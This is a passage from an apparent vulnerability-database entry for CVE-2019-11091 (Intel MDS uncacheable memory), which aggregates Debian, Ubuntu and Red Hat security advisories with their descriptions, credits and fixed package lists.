plain text variable file during HE deployment\n1718388 - CVE-2019-10160 python: regression of CVE-2019-9636 due to functional fix to allow port numbers in netloc\n1720156 - RHVH 4.3.4 version info is incorrect in plymouth and \"/etc/os-release\"\n1720160 - RHVH 4.3.4: Incorrect info in /etc/system-release-cpe\n1720310 - RHV-H post-installation scripts failing, due to existing tags\n1720434 - RHVH 7.7 brand is wrong in Anaconda GUI. \n1720435 - Failed to install RHVH 7.7\n1720436 - RHVH 7.7 should based on RHEL 7.7 server but not workstation. \n1724044 - Failed dependencies occur during install systemtap package. \n1726534 - dhclient fails to load libdns-export.so.1102 after upgrade if the user installed library is not persisted on the new layer\n1727007 - Update RHVH 7.7 branding with new Red Hat logo\n1727859 - Failed to boot after upgrading a host with a custom kernel\n1728998 - \"nodectl info\" displays error after RHVH installation\n1729023 - The error message is inappropriate when run `imgbase layout --init` on current layout\n\n6",
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"db": "VULHUB",
"id": "VHN-147651",
"ident": null
},
{
"date": "2023-11-07T00:00:00",
"db": "VULMON",
"id": "CVE-2019-1559",
"ident": null
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{
"date": "2019-07-17T06:00:00",
"db": "BID",
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{
"date": "2022-03-25T00:00:00",
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{
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"id": "JVNDB-2019-002098",
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"date": "2024-11-21T04:36:48.960000",
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"id": "CVE-2019-1559",
"ident": null
}
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},
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"id": "CNNVD-201902-956"
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"title": {
"_id": null,
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VAR-201905-1248
Vulnerability from variot - Updated: 2026-03-09 22:04Microarchitectural Data Sampling Uncacheable Memory (MDSUM): Uncacheable memory on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access. A list of impacted products can be found here: https://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf. Intel Xeon Scalable Processors and so on are products of Intel Corporation of the United States. Intel XeonScalable Processors is a scalable server central processing unit (CPU). IntelXeonProcessorE7v4Family is a XeonE7 series server central processing unit (CPU). IntelXeonProcessorE5v4Family is a XeonE5 series server central processing unit (CPU). An information disclosure vulnerability exists in several Intel products. The vulnerability stems from errors in the configuration of the network system or product during operation. An unauthorized attacker can exploit the vulnerability to obtain sensitive information about the affected component. The following products and versions are affected: Intel Xeon Scalable Processors; Xeon Processor E7 v4 Family; Xeon Processor E5 v4 Family; Xeon Processor E3 v6 Family; Xeon Processor E3 v4 Family; Xeon Processor E; Xeon E Processor; Xeon D Processor; Puma; Pentium Processor Silver Series; Pentium Processor N Series; Pentium Processor J Series; Pentium Gold Processor Series; Mobile Communications Platforms; Microcode; Core X series Processors; Celeron Processor N Series; Celeron Processor J Series; Celeron Processor G Series; Atom Processor X Series ;Atom Processor E3900 Series;Atom Processor E3800 Series;Atom Processor. The vulnerability is due to improper memory operations that could expose a side channel on the affected system. A successful exploit could be used to conduct further attacks. Proof-of-concept (PoC) code that demonstrates an exploit of this vulnerability is publicly available. A third-party patch is also available. (CVE-2019-11091)
Matteo Croce, Natale Vinto, and Andrea Spagnolo discovered that the cgroups subsystem of the Linux kernel did not properly account for SCTP socket buffers. (CVE-2019-3874)
Alex Williamson discovered that the vfio subsystem of the Linux kernel did not properly limit DMA mappings.
Please note that fully mitigating the Microarchitectural Data Sampling (MDS) issues (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, and CVE-2019-11091) requires corresponding processor microcode/firmware updates or, in virtual environments, hypervisor updates.
This update provides additional support for some Sandybridge server and Core-X CPUs which were not covered in the original May microcode release. For a list of specific CPU models now supported please refer to the entries listed under CPUID 206D6 and 206D7 at https://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf
For the stable distribution (stretch), these problems have been fixed in version 3.20190618.1~deb9u1.
For the detailed security status of intel-microcode please refer to its security tracker page at: https://security-tracker.debian.org/tracker/intel-microcode
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----
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Software Description: - intel-microcode: Processor microcode for Intel CPUs
Details:
USN-3977-1 provided mitigations for Microarchitectural Data Sampling (MDS) vulnerabilities in Intel Microcode for a large number of Intel processor families. This update provides the corresponding updated microcode mitigations for Intel Cherry Trail and Bay Trail processor families. ========================================================================== Ubuntu Security Notice USN-3978-1 May 14, 2019
qemu update
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 19.04
- Ubuntu 18.10
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
- Ubuntu 14.04 ESM
Summary:
Several issues were addressed in QEMU.
Software Description: - qemu: Machine emulator and virtualizer
Details:
Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Giorgi Maisuradze, Dan Horea Lutas, Andrei Lutas, Volodymyr Pikhur, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida, Moritz Lipp, Michael Schwarz, and Daniel Gruss discovered that memory previously stored in microarchitectural fill buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2018-12130)
Brandon Falk, Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida discovered that memory previously stored in microarchitectural load ports of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2018-12127)
Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Marina Minkin, Daniel Moghimi, Moritz Lipp, Michael Schwarz, Jo Van Bulck, Daniel Genkin, Daniel Gruss, Berk Sunar, Frank Piessens, and Yuval Yarom discovered that memory previously stored in microarchitectural store buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2018-12126)
Kurtis Miller discovered that a buffer overflow existed in QEMU when loading a device tree blob. A local attacker could use this to execute arbitrary code. (CVE-2018-20815)
Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Volodrmyr Pikhur, Moritz Lipp, Michael Schwarz, Daniel Gruss, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida discovered that uncacheable memory previously stored in microarchitectural buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2019-11091)
It was discovered that a NULL pointer dereference existed in the sun4u power device implementation in QEMU. A local attacker could use this to cause a denial of service. This issue only affected Ubuntu 18.10 and Ubuntu 19.04. (CVE-2019-5008)
William Bowling discovered that an information leak existed in the SLiRP networking implementation of QEMU. (CVE-2019-9824)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 19.04: qemu 1:3.1+dfsg-2ubuntu3.1 qemu-system-x86 1:3.1+dfsg-2ubuntu3.1
Ubuntu 18.10: qemu 1:2.12+dfsg-3ubuntu8.7 qemu-system-x86 1:2.12+dfsg-3ubuntu8.7
Ubuntu 18.04 LTS: qemu 1:2.11+dfsg-1ubuntu7.13 qemu-system-x86 1:2.11+dfsg-1ubuntu7.13
Ubuntu 16.04 LTS: qemu 1:2.5+dfsg-5ubuntu10.38 qemu-system-x86 1:2.5+dfsg-5ubuntu10.38
Ubuntu 14.04 ESM: qemu 2.0.0+dfsg-2ubuntu1.46 qemu-system-x86 2.0.0+dfsg-2ubuntu1.46
After a standard system update you need to restart all QEMU virtual machines to make all the necessary changes. Relevant releases/architectures:
RHV-M 4.2 - noarch
- It includes the configuration of the Red Hat Support plugin, copying downstream-only artifacts to the ISO domain, and links to the knowledgebase and other support material. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
===================================================================== Red Hat Security Advisory
Synopsis: Important: libvirt security update Advisory ID: RHSA-2019:1180-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2019:1180 Issue date: 2019-05-14 CVE Names: CVE-2018-12126 CVE-2018-12127 CVE-2018-12130 CVE-2019-11091 =====================================================================
- Summary:
An update for libvirt is now available for Red Hat Enterprise Linux 6.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Desktop (v. 6) - i386, x86_64 Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux HPC Node (v. 6) - x86_64 Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64 Red Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 6) - x86_64 Red Hat Enterprise Linux Workstation (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation Optional (v. 6) - x86_64
- Description:
The libvirt library contains a C API for managing and interacting with the virtualization capabilities of Linux and other operating systems. In addition, libvirt provides tools for remote management of virtualized systems.
Security Fix(es):
-
A flaw was found in the implementation of the "fill buffer", a mechanism used by modern CPUs when a cache-miss is made on L1 CPU cache. If an attacker can generate a load operation that would create a page fault, the execution will continue speculatively with incorrect data from the fill buffer while the data is fetched from higher level caches. This response time can be measured to infer data in the fill buffer. (CVE-2018-12130)
-
Modern Intel microprocessors implement hardware-level micro-optimizations to improve the performance of writing data back to CPU caches. The write operation is split into STA (STore Address) and STD (STore Data) sub-operations. These sub-operations allow the processor to hand-off address generation logic into these sub-operations for optimized writes. Both of these sub-operations write to a shared distributed processor structure called the 'processor store buffer'. As a result, an unprivileged attacker could use this flaw to read private data resident within the CPU's processor store buffer. (CVE-2018-12126)
-
Microprocessors use a ‘load port’ subcomponent to perform load operations from memory or IO. During a load operation, the load port receives data from the memory or IO subsystem and then provides the data to the CPU registers and operations in the CPU’s pipelines. Stale load operations results are stored in the 'load port' table until overwritten by newer operations. Certain load-port operations triggered by an attacker can be used to reveal data about previous stale requests leaking data back to the attacker via a timing side-channel. (CVE-2019-11091)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
After installing the updated packages, libvirtd will be restarted automatically.
- Bugs fixed (https://bugzilla.redhat.com/):
1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS) 1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS) 1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS) 1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM)
- Package List:
Red Hat Enterprise Linux Desktop (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
i386: libvirt-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-python-0.10.2-64.el6_10.1.i686.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Desktop Optional (v. 6):
i386: libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux HPC Node (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional (v. 6):
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Server (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
i386: libvirt-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-python-0.10.2-64.el6_10.1.i686.rpm
ppc64: libvirt-0.10.2-64.el6_10.1.ppc64.rpm libvirt-client-0.10.2-64.el6_10.1.ppc.rpm libvirt-client-0.10.2-64.el6_10.1.ppc64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.ppc.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.ppc64.rpm libvirt-devel-0.10.2-64.el6_10.1.ppc.rpm libvirt-devel-0.10.2-64.el6_10.1.ppc64.rpm libvirt-python-0.10.2-64.el6_10.1.ppc64.rpm
s390x: libvirt-0.10.2-64.el6_10.1.s390x.rpm libvirt-client-0.10.2-64.el6_10.1.s390.rpm libvirt-client-0.10.2-64.el6_10.1.s390x.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.s390.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.s390x.rpm libvirt-devel-0.10.2-64.el6_10.1.s390.rpm libvirt-devel-0.10.2-64.el6_10.1.s390x.rpm libvirt-python-0.10.2-64.el6_10.1.s390x.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 6):
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 6):
Source: libvirt-0.10.2-64.el6_10.1.src.rpm
i386: libvirt-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-python-0.10.2-64.el6_10.1.i686.rpm
x86_64: libvirt-0.10.2-64.el6_10.1.x86_64.rpm libvirt-client-0.10.2-64.el6_10.1.i686.rpm libvirt-client-0.10.2-64.el6_10.1.x86_64.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-devel-0.10.2-64.el6_10.1.i686.rpm libvirt-devel-0.10.2-64.el6_10.1.x86_64.rpm libvirt-python-0.10.2-64.el6_10.1.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 6):
x86_64: libvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm libvirt-lock-sanlock-0.10.2-64.el6_10.1.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2018-12126 https://access.redhat.com/security/cve/CVE-2018-12127 https://access.redhat.com/security/cve/CVE-2018-12130 https://access.redhat.com/security/cve/CVE-2019-11091 https://access.redhat.com/security/vulnerabilities/mds https://access.redhat.com/security/updates/classification/#important
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . 7) - noarch, x86_64
- Description:
The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks
Show details on source website{
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"data": "Microarchitectural Data Sampling Uncacheable Memory (MDSUM): Uncacheable memory on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access. A list of impacted products can be found here: https://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf. Intel Xeon Scalable Processors and so on are products of Intel Corporation of the United States. Intel XeonScalable Processors is a scalable server central processing unit (CPU). IntelXeonProcessorE7v4Family is a XeonE7 series server central processing unit (CPU). IntelXeonProcessorE5v4Family is a XeonE5 series server central processing unit (CPU). An information disclosure vulnerability exists in several Intel products. The vulnerability stems from errors in the configuration of the network system or product during operation. An unauthorized attacker can exploit the vulnerability to obtain sensitive information about the affected component. The following products and versions are affected: Intel Xeon Scalable Processors; Xeon Processor E7 v4 Family; Xeon Processor E5 v4 Family; Xeon Processor E3 v6 Family; Xeon Processor E3 v4 Family; Xeon Processor E; Xeon E Processor; Xeon D Processor; Puma; Pentium Processor Silver Series; Pentium Processor N Series; Pentium Processor J Series; Pentium Gold Processor Series; Mobile Communications Platforms; Microcode; Core X series Processors; Celeron Processor N Series; Celeron Processor J Series; Celeron Processor G Series; Atom Processor X Series ;Atom Processor E3900 Series;Atom Processor E3800 Series;Atom Processor. \nThe vulnerability is due to improper memory operations that could expose a side channel on the affected system. A successful exploit could be used to conduct further attacks. \nProof-of-concept (PoC) code that demonstrates an exploit of this vulnerability is publicly available. A third-party patch is also available. (CVE-2019-11091)\n\nMatteo Croce, Natale Vinto, and Andrea Spagnolo discovered that the cgroups\nsubsystem of the Linux kernel did not properly account for SCTP socket\nbuffers. (CVE-2019-3874)\n\nAlex Williamson discovered that the vfio subsystem of the Linux kernel did\nnot properly limit DMA mappings. \n\nPlease note that fully mitigating the Microarchitectural Data Sampling\n(MDS) issues (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, and\nCVE-2019-11091) requires corresponding processor microcode/firmware\nupdates or, in virtual environments, hypervisor updates. \n\nThis update provides additional support for some Sandybridge server\nand Core-X CPUs which were not covered in the original May microcode\nrelease. For a list of specific CPU models now supported please refer\nto the entries listed under CPUID 206D6 and 206D7 at\nhttps://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf\n\nFor the stable distribution (stretch), these problems have been fixed in\nversion 3.20190618.1~deb9u1. \n\nFor the detailed security status of intel-microcode please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/intel-microcode\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAl0LKeoACgkQEMKTtsN8\nTjZNtxAAi0dfmsv3xJXYXa/UIG7ayCCdywg7bfYUIFh7eaz5K9IUdq1RRea+qPsd\nBKzBaWDDGl6+YyZJibFD+JYjrxvHOEWtVrJPuoco2Z34nKkEJDieoFtQjjeZ61ik\nS9iT2zWnTQa+VixIdJuYBS9z1Rakf58SU/IpNKxZ33eaJ+isAe9KQLO0OyD/d9qN\nx56EQyAmSOx44IrzkHegIchFNaV2fvScoJ1kVg21FMKWi96P4GTU7jw2UWzNepVs\n6yrXfTSaPWUbSg93D24i0FXVce9m35OP7SosdkIyDU5fRfHGxTPxDFnXa2PmY71j\nuBniE6oUe75Fh9tZpNCQoL9e08463pZjjETcTBxMKYF+Q9/3OwIeRfYCd39gLlsP\nH3GNW8bLzxrntWquRazthkvfkTP+H9QG7E3ibeR/YX7l2aS5p8e6fs2OP57g3NCI\nZJPrhrPstYJ6NhESUVi2N/QAiaOj4pBsel8bvIKyanGvWcNkonM5FV4tjfXm0GHx\nZfIiBANF5aLh/pAkd5uDzxyH5xKhM/F0FRlDyqHjb2BuyoG3B2GLe2lXgkIhAR20\nJmbPk9S/d15GNC9ndr+XFOkU6+IDgC7glSf0PLuRli7db6u6US1Ch+cS4k5mTzWS\n7/Run+QoeSzZjIBvF6aamMZfWxISOHyvV+5b/cWGbfX4wqyppHQ=\n=VGab\n-----END PGP SIGNATURE-----\n. \n\nSoftware Description:\n- intel-microcode: Processor microcode for Intel CPUs\n\nDetails:\n\nUSN-3977-1 provided mitigations for Microarchitectural Data Sampling\n(MDS) vulnerabilities in Intel Microcode for a large number of Intel\nprocessor families. This update provides the corresponding updated\nmicrocode mitigations for Intel Cherry Trail and Bay Trail processor\nfamilies. ==========================================================================\nUbuntu Security Notice USN-3978-1\nMay 14, 2019\n\nqemu update\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 19.04\n- Ubuntu 18.10\n- Ubuntu 18.04 LTS\n- Ubuntu 16.04 LTS\n- Ubuntu 14.04 ESM\n\nSummary:\n\nSeveral issues were addressed in QEMU. \n\nSoftware Description:\n- qemu: Machine emulator and virtualizer\n\nDetails:\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Giorgi Maisuradze, Dan\nHorea Lutas, Andrei Lutas, Volodymyr Pikhur, Stephan van Schaik, Alyssa\nMilburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos,\nCristiano Giuffrida, Moritz Lipp, Michael Schwarz, and Daniel Gruss\ndiscovered that memory previously stored in microarchitectural fill buffers\nof an Intel CPU core may be exposed to a malicious process that is\nexecuting on the same CPU core. (CVE-2018-12130)\n\nBrandon Falk, Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Stephan\nvan Schaik, Alyssa Milburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh\nRazavi, Herbert Bos, and Cristiano Giuffrida discovered that memory\npreviously stored in microarchitectural load ports of an Intel CPU core may\nbe exposed to a malicious process that is executing on the same CPU core. \n(CVE-2018-12127)\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Marina Minkin, Daniel\nMoghimi, Moritz Lipp, Michael Schwarz, Jo Van Bulck, Daniel Genkin, Daniel\nGruss, Berk Sunar, Frank Piessens, and Yuval Yarom discovered that memory\npreviously stored in microarchitectural store buffers of an Intel CPU core\nmay be exposed to a malicious process that is executing on the same CPU\ncore. \n(CVE-2018-12126)\n\nKurtis Miller discovered that a buffer overflow existed in QEMU when\nloading a device tree blob. A local attacker could use this to execute\narbitrary code. (CVE-2018-20815)\n\nKe Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Volodrmyr Pikhur,\nMoritz Lipp, Michael Schwarz, Daniel Gruss, Stephan van Schaik, Alyssa\nMilburn, Sebastian \\xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and\nCristiano Giuffrida discovered that uncacheable memory previously stored in\nmicroarchitectural buffers of an Intel CPU core may be exposed to a\nmalicious process that is executing on the same CPU core. (CVE-2019-11091)\n\nIt was discovered that a NULL pointer dereference existed in the sun4u\npower device implementation in QEMU. A local attacker could use this\nto cause a denial of service. This issue only affected Ubuntu 18.10\nand Ubuntu 19.04. (CVE-2019-5008)\n\nWilliam Bowling discovered that an information leak existed in the SLiRP\nnetworking implementation of QEMU. (CVE-2019-9824)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 19.04:\n qemu 1:3.1+dfsg-2ubuntu3.1\n qemu-system-x86 1:3.1+dfsg-2ubuntu3.1\n\nUbuntu 18.10:\n qemu 1:2.12+dfsg-3ubuntu8.7\n qemu-system-x86 1:2.12+dfsg-3ubuntu8.7\n\nUbuntu 18.04 LTS:\n qemu 1:2.11+dfsg-1ubuntu7.13\n qemu-system-x86 1:2.11+dfsg-1ubuntu7.13\n\nUbuntu 16.04 LTS:\n qemu 1:2.5+dfsg-5ubuntu10.38\n qemu-system-x86 1:2.5+dfsg-5ubuntu10.38\n\nUbuntu 14.04 ESM:\n qemu 2.0.0+dfsg-2ubuntu1.46\n qemu-system-x86 2.0.0+dfsg-2ubuntu1.46\n\nAfter a standard system update you need to restart all QEMU virtual\nmachines to make all the necessary changes. Relevant releases/architectures:\n\nRHV-M 4.2 - noarch\n\n3. \nIt includes the configuration of the Red Hat Support plugin, copying\ndownstream-only artifacts to the ISO domain, and links to the knowledgebase\nand other support material. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Important: libvirt security update\nAdvisory ID: RHSA-2019:1180-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2019:1180\nIssue date: 2019-05-14\nCVE Names: CVE-2018-12126 CVE-2018-12127 CVE-2018-12130 \n CVE-2019-11091 \n=====================================================================\n\n1. Summary:\n\nAn update for libvirt is now available for Red Hat Enterprise Linux 6. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Desktop (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux HPC Node (v. 6) - x86_64\nRed Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Workstation (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 6) - x86_64\n\n3. Description:\n\nThe libvirt library contains a C API for managing and interacting with the\nvirtualization capabilities of Linux and other operating systems. In\naddition, libvirt provides tools for remote management of virtualized\nsystems. \n\nSecurity Fix(es):\n\n* A flaw was found in the implementation of the \"fill buffer\", a mechanism\nused by modern CPUs when a cache-miss is made on L1 CPU cache. If an\nattacker can generate a load operation that would create a page fault, the\nexecution will continue speculatively with incorrect data from the fill\nbuffer while the data is fetched from higher level caches. This response\ntime can be measured to infer data in the fill buffer. (CVE-2018-12130)\n\n* Modern Intel microprocessors implement hardware-level micro-optimizations\nto improve the performance of writing data back to CPU caches. The write\noperation is split into STA (STore Address) and STD (STore Data)\nsub-operations. These sub-operations allow the processor to hand-off\naddress generation logic into these sub-operations for optimized writes. \nBoth of these sub-operations write to a shared distributed processor\nstructure called the \u0027processor store buffer\u0027. As a result, an unprivileged\nattacker could use this flaw to read private data resident within the CPU\u0027s\nprocessor store buffer. (CVE-2018-12126)\n\n* Microprocessors use a \u2018load port\u2019 subcomponent to perform load operations\nfrom memory or IO. During a load operation, the load port receives data\nfrom the memory or IO subsystem and then provides the data to the CPU\nregisters and operations in the CPU\u2019s pipelines. Stale load operations\nresults are stored in the \u0027load port\u0027 table until overwritten by newer\noperations. Certain load-port operations triggered by an attacker can be\nused to reveal data about previous stale requests leaking data back to the\nattacker via a timing side-channel. (CVE-2019-11091)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nAfter installing the updated packages, libvirtd will be restarted\nautomatically. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS)\n1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS)\n1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS)\n1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM)\n\n6. Package List:\n\nRed Hat Enterprise Linux Desktop (v. 6):\n\nSource:\nlibvirt-0.10.2-64.el6_10.1.src.rpm\n\ni386:\nlibvirt-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-python-0.10.2-64.el6_10.1.i686.rpm\n\nx86_64:\nlibvirt-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-client-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-client-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.i686.rpm\nlibvirt-debuginfo-0.10.2-64.el6_10.1.x86_64.rpm\nlibvirt-python-0.10.2-64.el6_10.1.x86_64.rpm\n\nRed Hat Enterprise Linux Desktop Optional (v. 